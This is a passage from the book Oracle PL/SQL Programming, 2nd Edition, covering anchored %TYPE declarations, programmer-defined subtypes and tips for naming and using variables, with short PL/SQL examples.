All the declarations you have so far seen -- character, numeric, date, Boolean -- specify explicitly the type of data for that variable. In each of these cases, the declaration contains a direct reference to a datatype and, in most cases, a constraint on that datatype. You can think of this as a kind of hardcoding in your program. While this approach to declarations is certainly valid, it can cause problems in the following situations:

  • Synchronization with database columns. The PL/SQL variable "represents" database information in the program. If I declare explicitly and then change the structure of the underlying table, my program may not work properly.

  • Normalization of local variables. The PL/SQL variable stores calculated values used throughout the application. What are the consequences of repeating (hardcoding) the same datatype and constraint for each declaration in all of my programs?

Let's take a look at each of these scenarios in more detail.

4.5.1.1 Synchronization with database columns

Databases hold information that needs to be stored and manipulated. Both SQL and PL/SQL perform these manipulations. Your PL/SQL programs often read data from a database into local program variables, and then write information from those variables back into the database.

Suppose I have a company table with a column called NAME and a datatype of VARCHAR2(60). I can therefore create a local variable to hold this data as follows:

DECLARE
   cname VARCHAR2(60);

and then use this variable to represent this database information in my program. Now, consider an application which uses the company entity. There may be a dozen different screens, procedures, and reports which contain this same PL/SQL declaration, VARCHAR2(60), over and over again. And everything works just fine...until the business requirements change or the DBA has a change of heart. With a very small effort, the definition of the name column in the company table changes to VARCHAR2(100), in order to accommodate longer company names. Suddenly the database can store names which will raise VALUE_ERROR exceptions when FETCHed into the company_name variable.

My programs have become incompatible with the underlying data structures. All declarations of cname (and all the variations programmers employed for this data throughout the system) must be modified. Otherwise, my application is simply a ticking time bomb, just waiting to fail. My variable, which is a local representation of database information, is no longer synchronized with that database column.

4.5.1.2 Normalization of local variables

Another drawback to explicit declarations arises when working with PL/SQL variables which store and manipulate calculated values not found in the database. Suppose my programmers built an application to manage my company's finances. I am very bottom-line oriented, so many different programs make use of a total_revenue variable, declared as follows:

total_revenue NUMBER (10,2);

Yes, I like to track my total revenue down to the last penny. Now, in 1992, when specifications for the application were first written, the maximum total revenue I ever thought I could possibly obtain from any single customer was $99 million, so we used the NUMBER (10,2) declaration, which seemed like plenty. Then in 1995, my proposal to convert B-2 bombers to emergency transport systems to deliver Midwestern wheat to famine regions was accepted: a $2 billion contract! I was just about ready to pop the corks on the champagne when my lead programmer told me the bad news: I wouldn't be able to generate reports on this newest project and customer: those darn total_revenue variables were too small!

What a bummer...I had to fire the guy.

Just kidding. Instead, we quickly searched out any and all instances of the revenue variables so that we could change the declarations. This was a time-consuming job because we had spread equivalent declarations throughout the entire application. I had, in effect, denormalized my local data structures, with the usual consequences on maintenance. If only I had a way to define each of local total revenue variables in relation to a single datatype.

If only they had used %TYPE!

4.5.2 Anchoring at Compile Time

The %TYPE declaration attribute anchors the datatype of one variable to that of another data structure at the time a PL/SQL block is compiled. If a change is made to the "source" datatype, then any program which contains a declaration anchored to this datatype must be recompiled before it will be able to use this new state of the datatype.

The consequences of this rule differ for PL/SQL modules stored in the database and those defined in client-side tools, such as Oracle Forms.

Consider the following declaration of company_name in the procedure display_company:

PROCEDURE display_company (company_id_in IN INTEGER)
IS
   company_name company.name%TYPE;
BEGIN
   ...
END;

When PL/SQL compiles this module, it looks up the structure of the company table in the data dictionary, finds the column NAME, and obtains its datatype. It then uses this data dictionary-based datatype to define the new variable.

What, then, is the impact on the compiled display_company procedure if the datatype for the name column of the company table changes? There are two possibilities:

  • If display_company is a stored procedure, then the compiled code will be marked as "invalid." The next time a program tries to run display_company, it will be recompiled automatically before it is used.

  • If display_company is a client-side procedure, then the Oracle Server cannot mark the program as invalid. The compiled client source code remains compiled using the old datatype. The next time you execute this module, it could cause a VALUE_ERROR exception to be raised.

Whether stored or in client-side code, you should make sure that all affected modules are recompiled after data structure changes.

4.5.3 Nesting Usages of the %TYPE Attribute

You can nest usages of %TYPE in your declarations as well:

DECLARE
   /* The "base" variable */
   unlimited_revenue NUMBER;

   /* Anchored to unlimited revenue */
   total_revenue unlimited_revenue%TYPE;

   /* Anchored to total revenue */
   total_rev_94    total_revenue%TYPE;
   total_rev_95    total_revenue%TYPE;
BEGIN

In this case total_revenue is based on unlimited_revenue and both variables for 1994 and 1995 are based on the total_revenue variable. There is no practical limit on the number of layers of nested usages of %TYPE.

4.5.4 Anchoring to Variables in Other PL/SQL Blocks

The declaration of the source variable for your %TYPE declarations does not need to be in the same declaration section as the variables which use it. That variable must simply be visible in that section. The variable could be a global PL/SQL variable (defined in a package) or be defined in an PL/SQL block which contains the current block, as in the following example:

PROCEDURE calc_revenue
IS
   unlimited_revenue NUMBER;
   total_revenue unlimited_revenue%TYPE;
BEGIN
   IF TO_CHAR (SYSDATE, 'YYYY') = '1994'
   THEN
      DECLARE
         total_rev_94    total_revenue%TYPE;
      BEGIN
         ...
      END;
   END IF;
END calc_revenue;

4.5.5 Anchoring to NOT NULL Datatypes

When you declare a variable, you can also specify the need for the variable to be NOT NULL This NOT NULL declaration constraint is transferred to variables declared with the %TYPE attribute. If I include a NOT NULL in my declaration of a source variable (one that is referenced afterwards in a %TYPE declaration), I must also make sure to specify a default value for the variables which make use of that source variable. Suppose I declare max_available_date NOT NULL in the following example:

DECLARE
   max_available_date DATE NOT NULL :=
            LAST_DAY (ADD_MONTHS (SYSDATE, 3));
   last_ship_date max_available_date%TYPE;

The declaration of last_ship_date will then fail to compile, with the following message:

a variable declared NOT NULL must have an initialization assignment.

If you use a NOT NULL variable in a %TYPE declaration, the new variable must have a default value provided. The same is not true, however, for variables declared with %TYPE where the source is a database column.

The NOT NULL column constraint does not apply to variables declared with the %TYPE attribute. The following code will compile successfully:

DECLARE
   -- Company name is a NOT NULL column in the company table.
   comp_name company.name%TYPE;
BEGIN
   comp_name := NULL;

You will be able to declare the comp_name variable without specifying a default, and you will be able to NULL out the contents of that variable.

Previous: 4.4 Variable Declarations | Oracle PL/SQL Programming, 2nd Edition | Next: 4.6 Programmer-Defined Subtypes
4.4 Variable Declarations | Book Index | 4.6 Programmer-Defined Subtypes
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.6 Programmer-Defined Subtypes

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

4.6 Programmer-Defined Subtypes

With Version 2.1 of PL/SQL (available with Oracle Server Version 7.1), you can define your own unconstrained subtypes of predefined datatypes. In PL/SQL, a subtype of a datatype is a variation that specifies the same set of rules as the original datatype, but might allow only a subset of the datatype's values.

There are two kinds of subtypes: constrained and unconstrained. A constrained subtype is one that restricts or constrains the values normally allowed by the datatype itself. POSITIVE is an example of a constrained subtype of BINARY_INTEGER. The package STANDARD, which predefines the datatypes and the functions that are parts of the standard PL/SQL language, declares the subtype POSITIVE as follows:

SUBTYPE POSITIVE IS BINARY_INTEGER RANGE 1 .. 2147483647;

A variable that is declared POSITIVE can only store integer values greater than zero. The following assignment raises the VALUE_ERROR exception:

DECLARE
   pentagon_cost_cutting POSITIVE;--The report to Congress
BEGIN
   pentagon_cost_cutting := -100000000;--The inside reality

An unconstrained subtype is a subtype that does not restrict the values of the original datatype in variables declared with the subtype. FLOAT is an example of an unconstrained subtype of NUMBER. Its definition in the STANDARD package is:

SUBTYPE FLOAT IS NUMBER;

In other words, an unconstrained subtype provides an alias or alternate name for the original datatype.

In spite of the limitations of unconstrained subtypes, you should still use them wherever you can identify a logical subtype of data in your applications. Later, when you can implement constrained subtypes, you will only have to include a constraint in the SUBTYPE declaration, and all variables that are declared with this subtype will take on those constraints.

4.6.1 Declaring Subtypes

In order to make a subtype available, you first have to declare it in the declaration section of an anonymous PL/SQL block, procedure, function, or package. You've already seen the syntax for declaring a subtype used by PL/SQL in the STANDARD package. The general format of a subtype declaration is:

SUBTYPE <subtype_name> IS <base_type>;

where subtype_name is the name of the new subtype; this name is the identifier that will be referenced in declarations of variables of that type. The base_type, which specifies the datatype which forms the basis for the subtype, can be any of the categories shown in Table 4.3.

Table 4.3: PL/SQL Subtypes
Subtype Category | Description
PL/SQL datatype | Predefined PL/SQL datatype, including predefined subtypes, such as POSITIVE.
Programmer-defined subtype | Previously created with a SUBTYPE declaration.
variable_name%TYPE | The subtype is inferred from the datatype of the variable.
table_name.column_name%TYPE | Determined from the datatype of the column in the table.
table_name%ROWTYPE | Contains the same structure as the table.
cursor_name%ROWTYPE | Contains the same structure as the "virtual table" created by the cursor.
PL/SQL table | Contains the same structure as the PL/SQL table previously declared with a TYPE statement.

4.6.2 Examples of Subtype Declarations

Here are some examples of subtype declarations:

  • A subtype based on a predefined datatype:

    SUBTYPE hire_date_type IS DATE;

  • A subtype based on a predefined subtype:

    SUBTYPE soc_sec_number_type IS POSITIVE;

  • Multiple subtypes based on a PL/SQL table:

    TYPE room_tab IS TABLE OF NUMBER(3) INDEX BY BINARY INTEGER;
SUBTYPE hotel_room_tab_type IS room_tab;
SUBTYPE motel_room_tab_type IS room_tab;
SUBTYPE resort_room_tab_type IS room_tab;

  • A general subtype based on NUMBER and then additional subtypes defined on that original subtype:

    SUBTYPE primary_key_number_type IS NUMBER;
SUBTYPE company_key_type IS primary_key_number;
SUBTYPE employee_key_type IS primary_key_number;

  • A subtype based on the datatype of a table's column:

    SUBTYPE last_name_type IS employee.last_name%TYPE;

  • A subtype based on the datatype of a record's column:

    SUBTYPE first_name_type IS emp_rec.first_name%TYPE;

  • The following subtype declarations are invalid because they seek to apply a constraint to the subtype:

    SUBTYPE three_value_logic IS            -- Invalid constraint!
VARCHAR2 IN ('YES', 'NO', 'MAYBE');

SUBTYPE prefix_type IS CHAR(3);         -- Invalid constraint!

4.6.3 Emulating Constrained Subtypes

While you cannot directly constrain a subtype in PL/SQL at present you can, in effect, create a constrained subtype by anchoring a subtype to a constrained type declaration.

Suppose that the column big_line of table text_editor was set to VARCHAR2(200), as shown below:

CREATE TABLE text_editor
   (big_line VARCHAR2(200) NOT NULL, ...other columns...);

By applying this example, I can now create a subtype through a %TYPE reference to that column, as follows:

SUBTYPE paragraph_type IS text_editor.big_line%TYPE;

Like the original column declaration of big_line, this paragraph type is defined as VARCHAR2(200). If I use paragraph_type to declare character variables, then those variables will take on a maximum length of 200:

opening_paragraph paragraph_type;

You can also use %TYPE against a PL/SQL variable to constrain a datatype. Suppose I declare the following variables and a single subtype:

DECLARE
   /* A local PL/SQL string of length 10 */
   small_string VARCHAR2(10);

   /* Create a subtype based on that variable */
   SUBTYPE teensy IS small_string%TYPE;

   /* Declare two variables based on the subtype */
   weensy teensy;
   weensy_plus teensy(100);
BEGIN

The subtype is based on the small_string variable. As a result, the weensy variable, which is declared on the subtype, has a length of 10 bytes by default. So if I try to perform the following assignment, PL/SQL will raise the VALUE_ERROR exception:

weensy := 'morethantenchars';

When I declared the weensy_plus variable, on the other hand, I overrode the default subtype-based length of 10 with a maximum length of 100. As a result, this next assignment does not raise an exception:

weensy_plus := 'Lots of room for me to type now';

When you create a subtype based on an existing variable or database column, that subtype inherits the length (or precision and scale, in the case of a NUMBER datatype) from the original datatype. This constraint takes effect when you declare variables based on the subtype, but only as a default. You can always override that constraint. You will have to wait for a future version of PL/SQL, however, to actually enforce the constraint in a programmer-defined subtype.

Finally, an anchored subtype does not carry over the NOT NULL constraint to the variables it defines. Nor does it transfer a default value that was included in the original declaration of a variable or column specification.

Previous: 4.5 Anchored Declarations | Oracle PL/SQL Programming, 2nd Edition | Next: 4.7 Tips for Creating and Using Variables
4.5 Anchored Declarations | Book Index | 4.7 Tips for Creating and Using Variables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.7 Tips for Creating and Using Variables

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

4.7 Tips for Creating and Using Variables

How can you create, use, and maintain your variables and constants most effectively? This section pulls together a number of tips.

4.7.1 Establish Clear Variable Naming Conventions

Database administrators have long insisted on, and usually enforced, strict naming conventions for tables, columns, and other database objects. The advantage of these conventions is clear: at a single glance anyone who knows the conventions (and even many who do not) will understand the type of data contained in that column or table.

Many programmers, however, tend to get annoyed by such naming conventions. They regard them as just another bureaucracy that prevents them from "getting the job (the program) done." Of course, when it comes to tables and columns, most developers have no choice; they are stuck with what the DBA gives them. But when it comes to their own programs, they are free to name variables, programs, and other identifiers whatever they want. What a rush! Freedom! Room to express oneself!

Or rope with which to hang oneself. While those conventions are a bother to anyone who must follow them, they are a tremendous time- and eye-saver to anyone who must read and understand your code -- even yourself.

If conventions for columns make sense in the database, they also make sense in PL/SQL programs -- and in the development tools, such as Oracle Forms. In general I recommend that you follow the same guidelines for naming variables that you follow for naming columns in your development environment. In many cases, your variables simply represent database values, having been fetched from a table into those variables via a cursor. Beyond these database-sourced variables, however, there are a number of types of variables that you will use again and again in your code.

Generally, I try to come up with a variable name suffix that will help identify the representative data. This convention not only limits the need for additional comments, it can also improve the quality of code, because the variable type often implies rules for its use. If you can identify the variable type by its name, then you are more likely to use the variable properly.

Here is a list of variable types and suggested naming conventions for each.

Module parameter

A parameter has one of three modes: IN, OUT, or IN OUT. Attach the parameter mode as a suffix or prefix to the parameter name so that you can easily identify how that parameter should be used in the program. Here are some examples:

PROCEDURE calc_sales
   (company_id_IN IN NUMBER,
    in_call_type IN VARCHAR2,
    company_nm_INOUT IN OUT VARCHAR2)

See Chapter 15 for a more complete discussion of parameter naming conventions.

Cursor

Append a suffix of _cur or _cursor to the cursor name, as in:

CURSOR company_cur  IS ... ;
CURSOR top_sellers_cursor IS ... ;

I generally stick with the shorter _cur suffix; the extra typing (to spell out "cursor") is not really needed to convey the meaning of the variable.

Record based on table or cursor

These records are defined from the structure of a table or cursor. Unless more variation is needed, the simplest naming convention for a record is the name of the table or cursor with a _rec or _record suffix. For example, if the cursor is company_cur, then a record based on that cursor would be called company_rec. If you have more than one record declared for a single cursor, preface the record name with a word that describes it, such as newest_company_rec and duplicate_company_rec.

FOR loop index

There are two kinds of FOR loops, numeric and cursor, each with a corresponding numeric or record loop index. In a numeric loop you should incorporate the word "index" or "counter" or some similar suffix into the name of the loop index, such as:

FOR year_index IN 1 .. 12

In a cursor loop, the name of the record which serves as a loop index should follow the convention described above for records:

FOR emp_rec IN emp_cur
Named constant

A named constant cannot be changed after it gets its default value at the time of declaration. A common convention for such constants is to prefix the name with a c:

c_last_date CONSTANT DATE := SYSDATE:

This way, a programmer is less likely to try to use the constant in an inappropriate manner.

PL/SQL table TYPE

In PL/SQL Version 2 you can create PL/SQL tables which are similar to one-dimensional arrays. In order to create a PL/SQL table, you must first execute a TYPE declaration to create a table datatype with the right structure. I suggest that you use the suffix _tabtype to indicate that this is not actually a PL/SQL table, but a type of table. Here are some examples:

TYPE emp_names_tabtype IS TABLE OF ...;
TYPE dates_tabtype IS TABLE OF ...;
PL/SQL table

A PL/SQL table is declared based on a table TYPE statement, as indicated above. In most situations, I use the same name as the table type for the table, but I leave off the type part of the suffix. The following examples correspond to the previous table types:

emp_names_tab emp_names_tabtype;
dates_tab dates_tabtype;

You could also use the full table suffix for a high degree of clarity:

emp_names_table emp_names_tabtype;
dates_table dates_tabtype;

If you want to minimize confusion between PL/SQL tables and database tables, it is possible to call these constructs "arrays." In this case, switch your prefix:

emp_names_array emp_names_tabtype;
dates_array dates_tabtype;
Programmer-defined subtype

In PL/SQL Version 2.1 you can define subtypes from base datatypes. I suggest that you use a subtype suffix to make the meaning of the variable clear. Here are some examples:

SUBTYPE primary_key_subtype IS BINARY_INTEGER;
SUBTYPE large_string_subtype IS VARCHAR2;
Programmer-defined TYPE for record

In PL/SQL Version 2 you can create records with a structure you specify (rather than from a table or cursor). To do this, you must declare a type of record which determines the structure (number and types of columns). Use a rectype prefix in the name of the TYPE declaration, as follows:

TYPE sales_rectype IS RECORD ... ;
Programmer-defined record instance

Once you have defined a record type, you can declare actual records with that structure. Now you can drop the type part of the rectype prefix; the naming convention for these programmer-defined records is the same as that for records based on tables and cursors:

sales_rec sales_rectype;

4.7.2 Name Subtypes to Self-Document Code

One of the most compelling reasons for creating your own subtypes is to provide application- or function-specific datatypes that self-document your code. A programmer-defined subtype hides the generic "computer datatype" and replaces it with a datatype that has meaning in your own environment. In naming your subtype, you should consequently avoid references to the underlying datatype and concentrate instead on the business use of the subtype.

Suppose you are building a hotel reservation system. A very useful subtype would be a room number; it is a special kind of NUMBER and is used throughout the application. A room number is always an integer and is always greater than zero. So you could create the subtype as follows:

SUBTYPE room_#_pos_integer IS POSITIVE;
...
-- A declaration using the subtype:
open_room room_#_pos_integer;

The name, room_#_pos_integer, however, provides too much information about the subtype -- this information is not needed by the developer. A much better name for the subtype follows:

SUBTYPE room_number_type IS POSITIVE;
...
-- A declaration using the subtype:
open_room room_number_type;

A word-processing screen might rely heavily on fixed-length, 80-character strings (full lines of text). Which of these subtype declarations would you prefer to use?

SUBTYPE line_fixlen_string IS CHAR;

SUBTYPE full_line_type IS CHAR;

Which of these next two subtypes makes more sense in the variable declarations?

DECLARE
   SUBTYPE use_details_flag_Boolean_subtype IS BOOLEAN;
   use_item_totals use_details_flag_Boolean_subtype;
   SUBTYPE use_details_type IS BOOLEAN;
   use_footers use_details_type;

In both examples, the second example is preferable. You can improve the readability of your subtypes if you include a standard prefix or suffix to all subtypes, explicitly defining the identifier as a type. As shown in the following example, you might use a concise _t or the full _type suffix; in either case, a glance at the code will reveal that identifier's nature:

DECLARE
   longitude coordinate_t;
   avail_room room_number_type;
   found_company t_entity_found;

If you set your standards before developers begin to define their subtypes, you will have a consistent naming convention throughout your application.

4.7.3 Avoid Recycling Variables

Do you hear yourself echoed in any of the following statements? I certainly do.

Each variable and constant I use in your program takes up some amount of memory. I want to optimize memory usage in my program.

It takes time to declare and document each variable and constant. I am under deadline pressures and need to work as efficiently as possible.

As I write my program and run into the need for another variable, I can simply use an already declared but currently unused variable.

The one thing that all of the above statements have in common, besides the fact that they are poor excuses for writing poorly designed code, is that I avoid declaring separate variables and constants to meet the different needs in my program. Although I strongly support the idea of "reuse and recycle," both in my neighborhood and with procedures and functions, this principle produces hard-to-read code when applied to variables and constants.

Each variable and constant I declare should have one purpose and one purpose only. The name for that variable or constant should describe, as clearly as possible, that single-minded purpose.

The only reason to create generically-named variables and constants is to save you, the developer, typing time. That is always a terrible reason for a coding style or change in a programming effort. Reliance on a "time-saver" short-cut should raise a red flag: you are probably doing (or avoiding) something now for which you will pay later.

4.7.4 Use Named Constants to Avoid Hardcoding Values

Every application has its own set of special or "magic" values. These values are often configuration parameters, such as the maximum amount of time allowed before an order must be shipped or the name of an application (to be displayed in report and screen headers). Sometimes these special values will be relevant only for a particular program and not for the application as a whole, such as the character used as a string delimiter.

Whatever the scope and form of these values, programmers seem to believe that they will never change. The data in the database will certainly change and you might even need to add a column or two, but nobody will ever need to modify the naming scheme for reports, right? The value used to identify a closed request is always going to be "C," right? In a seemingly unconscious effort to prove this inviolability, we enter these values directly into the code, wherever it is needed, however often it is needed.

And then we are burned when the assumptions change -- usually as the result of a change in business rules. Not only is our belief system undermined, our weekend is lost to minute changes to code. It's always better to be skeptical, with perhaps a tinge of cynicism. Assume that anything you do will have to be changed a week after you write it. Protect yourself in every way possible -- particularly with your constants.

Follow these simple guidelines regarding literals in all of your applications:

  • Remove all literals (within reason) from your code. Instead, declare constants which hold those literal values.

  • Allow the value of that literal (now a constant) to be set in only one place in your code, preferably with a call to a procedure. This procedure can be run on startup of the application, or from the initialization section of a package.

  • Provide a single way to retrieve the literal value, preferably through a call to a function. Don't let any program reference the literal directly. This way you reserve the right and ability to change at any time the data structures you use to store that literal -- without affecting any of the programs which rely on that constant.

You can, of course, go overboard in your hunt for hardcoded values. Suppose you encounter this very common assignment to increment a counter:

number_of_orders := number_of_orders+ 1;

Should you really create a named constant called single_increment, initialize it with a value of one, and then change the above line to the following:

number_of_orders := number_of_orders+ single_increment;

I don't think so. The use of the literal value 1 in this situation is perfectly appropriate to the task at hand. Almost any other literal value hardcoded into your program should be replaced with a named constant.

4.7.5 Convert Variables into Named Constants

Every programming language provides a set of features to meet a set of requirements and needs. You should always try to use the most appropriate feature for a given situation.

There is a critical difference between a variable and a named constant. A variable can be assigned values; its value can be changed in the code. The value of a named constant is a constant; its value may not be altered after it has been declared. If you find that you have written a program in which a local variable's value does not change, you should first determine if that behavior is correct. If all is as it should be, you should then convert that variable to a constant.

Why should you bother converting "read only" variables to constants (and named ones at that)? Because when you "tell it and use it like it is," the program explains itself more clearly. The declaration of a named identifier as a constant gives you information about how it should be used in the program.

If you do convert a variable to a constant, you should also change its name. This will help to remind anyone reading the code that your identifier refers to a constant and cannot be changed. See the earlier tip on naming conventions for ideas on how to name your constants.

Directly related to improved readability, the declaration of a constant can also help with maintenance and debugging. Suppose you define and use a variable under the assumption that its default value will not change. You do not, however, go to the trouble of declaring that variable as a constant. You are aware of this assumption and use the variable properly. What happens, however, when a month or a year later another programmer has to perform maintenance on the code? This person might change the value of that variable in the course of making changes, and then cause a ripple effect of errors. If the variable was declared initially as a constant, such a change could not be compiled.

4.7.6 Remove Unused Variables from Programs

I have always been amazed at how quickly and easily a program can turn into spaghetti code. Consider this scenario. A program starts out with weak specifications. As a result, users change requirements at the same time that the developer implements the functions to support those requirements. A program evolves (or does it devolve?) rapidly, with whole sections of code moved, removed, or revamped. After many rounds of approximating a solution, the program works to the users' satisfaction. You wipe the sweat from your brow and gratefully move on to the next screen or report, hoping never to have to touch that program again.

Consider another scenario. After you wipe the sweat from your brow, you take a deep breath and dive into clean-up mode. There will never be a better time to review all the steps you took and understand the reasons you took them than immediately upon completion of your program. If you wait, you will find it particularly difficult to remember those parts of the program which were needed at one point, but were rendered unnecessary in the end. You should not view these "dead zones" in your code as harmless backwaters, never traveled so never a bother. In fact, unexecuted portions of code become sources of deep insecurity for maintenance programmers.

You should go through your programs and remove any part of your code that is no longer used. This is a relatively straightforward process for variables and named constants. Simply execute searches for a variable's name in that variable's scope. If you find that the only place it appears is its declaration, delete the declaration and, by doing so, delete one more potential question mark from your code.

4.7.7 Use %TYPE When a Variable Represents a Column

Always, always use the %TYPE attribute to declare variables which are actually PL/SQL representations of database values. When you think about it, this includes a lot of your variables; using %TYPE sometimes takes lots more typing, but it improves your code substantially.

Suppose you have a procedure in Oracle Forms that formats information about a customer. You need to declare a variable for each attribute of the customer: first name, last name, address, Social Security number, etc. "Hardcoded" declarations would look like this:

PROCEDURE format_customer
IS
   first_name  VARCHAR2 (30);
   last_name   VARCHAR2 (30);
   address     VARCHAR2 (60);
   city        VARCHAR2 (60);
   state       VARCHAR2 (2);
   soc_sec#    VARCHAR2 (11);
BEGIN
   ... interact with database customer information ...
END;

There are a few problems associated with this declaration style. As mentioned previously, these declarations are going to work only as long as the structure of the table does not change and the resulting changed data does not violate the above size constraints. Another drawback is that there is no documented relationship between the variables and the table columns. For example, is the city variable the city in which the customer lives or the city in which the sale was made? I need additional documentation here to guide my understanding of the ways these variables will be used.

These problems are all resolved with the %TYPE attribute. The declaration section shown in the preceding example has a very different look when explicit declarations are replaced with the referential %TYPE declarations:

PROCEDURE format_customer
IS
   first_name  customer.cust_fname%TYPE;
   last_name   customer.cust_lname%TYPE;
   address     customer.cust_addr_l1%TYPE;
   city        customer.cust_city%TYPE;
   state       customer.cust_state_abbrev_cd%TYPE;
   soc_sec#    customer.cust_soc_sec_number%TYPE;
BEGIN
   ... interact with database customer information ...
END;

Using the %TYPE attribute ensures that my variables stay synchronized with my database structure. Just as importantly, though, this declaration section is more self-documenting now. The %TYPE attribute provides important information to anyone reviewing the code, stating: "These variables represent my columns in the program. When you see one of these variables, think `database column'." This correlation makes it easier to understand the code, easier to change the code, and easier to recognize when one of those variables is used in an inappropriate manner.

Notice that the variable name does not have to match the column name. The %TYPE attribute guarantees only that the datatype of the variable matches the datatype of the column. While a name matchup is not required, I generally try to name my %TYPE variables the same as my column names. The identical name strongly reinforces the fact that this variable "represents" my column in this program. While name synchronization can be a nuisance (database administrators often insist on somewhat obscure and rigid naming conventions, such as cust_state_abbrev_cd for the two-character abbreviation of a customer's state), you cannot escape a DBA's conventions. Because you must use that table, why not make your programs as consistent as possible with the underlying database?

4.7.8 Use %TYPE to Standardize Nondatabase Declarations

While it is true that many (perhaps even most) of your local PL/SQL variables are directly related to database columns, at least some of your variables are local-only, perhaps calculated values based on database columns. You can also use the %TYPE attribute to infer a variable's datatype from another, previously defined PL/SQL variable, as I'll explain in this section.

The following declarations use this alternative source:

DECLARE
   revenue_data NUMBER(20,2);
   total_revenue revenue_data%TYPE;
   --
   max_available_date DATE := LAST_DAY (ADD_MONTHS (SYSDATE, 3));
   last_ship_date max_available_date%TYPE;

The variable called revenue_data acts as the standard variable for revenue data. Whenever I declare my total_revenue variable (or any other revenue-related variables), I base it on the general revenue_data variable. By doing this, I can guarantee a consistent declaration of revenue variables. Furthermore, if I ever need to change my revenue datatypes again, I only have to change the way that revenue_data is declared and recompile. All variables declared with revenue_data%TYPE will automatically adjust.

Note that while max_available_date has a default value as well, it is not applied to last_ship_date. Everything up to the optional default value assignment (initiated with a DEFAULT keyword or assignment operator) in a declaration is used in the %TYPE declaration, such as NOT NULL and the datatype. The default value, if specified in the source variable declaration, is ignored.

To make it easiest for individual developers to be aware of and make use of standard variable declarations, consider creating a package that contains only standard variable declarations and any code necessary to initialize them, as follows:

PACKAGE std_vartypes
IS
   /* Source for all revenue-related declarations */
   revenue_data NUMBER(20,2);

   /* Source for any Y/N flags -- when you don't use Booleans */
   flag_data CHAR(1);

   /* Standard format for primary key columns */
   primary_key_data NUMBER (10);

END std_vartypes;

4.7.9 Use Variables to Hide Complex Logic

A variable is a chunk of memory that has a name. A variable can hold a simple value. It can also be assigned the value of the outcome of an arbitrarily complicated expression -- either through a default value setting or an assignment. In this way a variable can represent that complex expression and thus be used in place of that expression in your code. The result is a program which is easy to read and maintain.

Consider the following code fragment:

IF (shipdate < ADD_MONTHS (SYSDATE, +3) OR
    order_date >= ADD_MONTHS (SYSDATE, -2)) AND
    cust_priority_type = 'HIGH' AND
    order_status = 'O'
THEN
   ship_order ('EXPRESS');

ELSIF (order_date >= ADD_MONTHS (SYSDATE, -2) OR
       ADD_MONTHS (SYSDATE, 3) > shipdate) AND
      order_status = 'O'
THEN
   ship_order ('GROUND');
END IF;

If I skip past the complicated Boolean expressions and look at the code executed in each IF and ELSIF clause I can "reverse-engineer" my understanding of the code. It looks like the IF statement is used to determine the method by which an order should be shipped. Well, that's good to know. Unfortunately, it would be very difficult to discern this fact from the conditions in the IF statement. Those Boolean expressions with multiple components are, in and of themselves, almost impossible to interpret without drawing a diagram. If there is an error in this logic, no one but the original author would be able to readily untangle the knot.

When you find yourself writing this kind of code (or having to maintain it) and, in the process, stumble through the logic -- either not sure if you got it right or even wondering precisely what "right" is, it is time for a shift in your approach. Perhaps you are trying to understand the implementational details before you understand the business rules.

4.7.9.1 Build from high-level rules

You should, in general, avoid implementing complicated expressions and logic until you have mapped out and verified that logic independent of PL/SQL code. Are you working from specifications? Then for the above code, your specifications might say something like this:

Rule 1

If the order is overdue and the customer priority is high, ship the products ordered using express delivery.

Rule 2

If the order is not overdue or the order is overdue but the customer priority is normal, then use standard ground delivery.

Before you dive into the PL/SQL IF statement, write some pseudocode based on your specifications. Here is an example:

IF order-overdue
THEN
   IF customer-priority-is-high
   THEN
      ship-express;
   ELSE
      ship-ground;
   END IF;
ELSE
   ship-ground;
END IF;

The next step would be to rewrite this nested IF statement as follows:

IF order-overdue AND IF customer-priority-is-high
THEN
   ship-express;
ELSE
   ship-ground;
END IF;

Even before writing a line of code, I have been able to simplify the logic which meets this specification. At this point I don't know what it means for an order to be overdue. I don't know how to tell if a customer's priority is high. I don't really need to know these details yet. My focus is to make sure I understand the logical requirements. Once this is done, I can recast the pseudocode as real PL/SQL.

4.7.9.2 Convert pseudocode to PL/SQL

My first pass in a conversion to PL/SQL would be a more-or-less direct translation:

BEGIN
   IF order_overdue AND high_priority
   THEN
      ship_order ('EXPRESS');
   ELSE
      ship_order ('GROUND');
   END IF;
END;

I don't know how ship_order will behave and, again, at this moment I don't care. I will employ top-down design to "fill in the blanks" and then work out the details later.

My conditional expression:

order_overdue AND high_priority

substitutes named variables for the pseudocode. To figure out exactly how these variables should be assigned their values, I need to look back at my requirements. Here is what I find:

Definition 1

An order is overdue if the shipping date is within the next three months or the order status is open and the order was placed more than two months ago.

Definition 2

A customer has a high priority if its priority type is equal to HIGH.

This last sentence is less a requirement than an implementation instruction. Be that as it may, instead of creating a function for each of these conditions, I can declare Boolean named constants and assign a value to those constants based on the variables representing the order and customer, as shown below:

DECLARE
   /* I hide my business rule behind this variable. */
   order_overdue CONSTANT BOOLEAN
         DEFAULT (shipdate < ADD_MONTHS (SYSDATE, +3) OR
                  order_date >= ADD_MONTHS (SYSDATE, -2)) AND
                  order_status = 'O';

   high_priority CONSTANT BOOLEAN
         DEFAULT cust_priority_type = 'HIGH';

BEGIN
   IF order_overdue AND high_priority
   THEN
      ship_order ('EXPRESS');
   ELSE
      ship_order ('GROUND');
   END IF;
END;

In this final version of the IF statement, I've used the order_overdue constant to abstract out or hide the two-part check against the order and ship dates. Now the IF-THEN code is much easier to read; in fact, it all but explains itself through the names of the constants. This self-documenting capability reduces the need for separate comments in the code.

By consolidating my redundant code, I also make it easier to maintain my application. If the conditions which make an order overdue change, I do not need to hunt through my code for all the places which perform the order_overdue test. I need only change the default value given to the order_overdue constant.

